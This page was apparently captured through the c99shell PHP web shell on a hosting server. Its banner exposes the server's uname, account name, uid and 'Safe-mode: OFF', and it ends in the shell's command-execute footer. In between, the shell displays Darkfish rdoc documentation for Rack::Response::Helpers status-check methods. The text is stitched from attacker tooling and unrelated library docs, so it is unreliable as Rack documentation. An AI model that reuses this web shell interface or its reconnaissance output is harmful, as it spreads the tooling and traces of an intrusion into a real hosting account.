Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/Response/ drwxr-xr-x |
Viewing file: Select action/file-type: In FilesFilesClass/Module Index
Rack::Response::HelpersPublic Instance Methods
accepted?()
click to toggle source
# File lib/rack/response.rb, line 128 def accepted?; status == 202; end
bad_request?()
click to toggle source
# File lib/rack/response.rb, line 129 def bad_request?; status == 400; end
client_error?()
click to toggle source
# File lib/rack/response.rb, line 123 def client_error?; status >= 400 && status < 500; end
content_length()
click to toggle source
# File lib/rack/response.rb, line 150 def content_length cl = headers[CONTENT_LENGTH] cl ? cl.to_i : cl end
content_type()
click to toggle source
# File lib/rack/response.rb, line 146 def content_type headers[CONTENT_TYPE] end
created?()
click to toggle source
# File lib/rack/response.rb, line 127 def created?; status == 201; end
forbidden?()
click to toggle source
# File lib/rack/response.rb, line 131 def forbidden?; status == 403; end
i_m_a_teapot?()
click to toggle source
# File lib/rack/response.rb, line 134 def i_m_a_teapot?; status == 418; end
include?(header)
click to toggle source
# File lib/rack/response.rb, line 142 def include?(header) !!headers[header] end
informational?()
click to toggle source
# File lib/rack/response.rb, line 120 def informational?; status >= 100 && status < 200; end
invalid?()
click to toggle source
# File lib/rack/response.rb, line 118 def invalid?; status < 100 || status >= 600; end
location()
click to toggle source
# File lib/rack/response.rb, line 155 def location headers["Location"] end
method_not_allowed?()
click to toggle source
# File lib/rack/response.rb, line 133 def method_not_allowed?; status == 405; end
not_found?()
click to toggle source
# File lib/rack/response.rb, line 132 def not_found?; status == 404; end
redirect?()
click to toggle source
# File lib/rack/response.rb, line 137 def redirect?; [301, 302, 303, 307].include? status; end
redirection?()
click to toggle source
# File lib/rack/response.rb, line 122 def redirection?; status >= 300 && status < 400; end
server_error?()
click to toggle source
# File lib/rack/response.rb, line 124 def server_error?; status >= 500 && status < 600; end Generated with the Darkfish Rdoc Generator 2. |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0034 ]-- |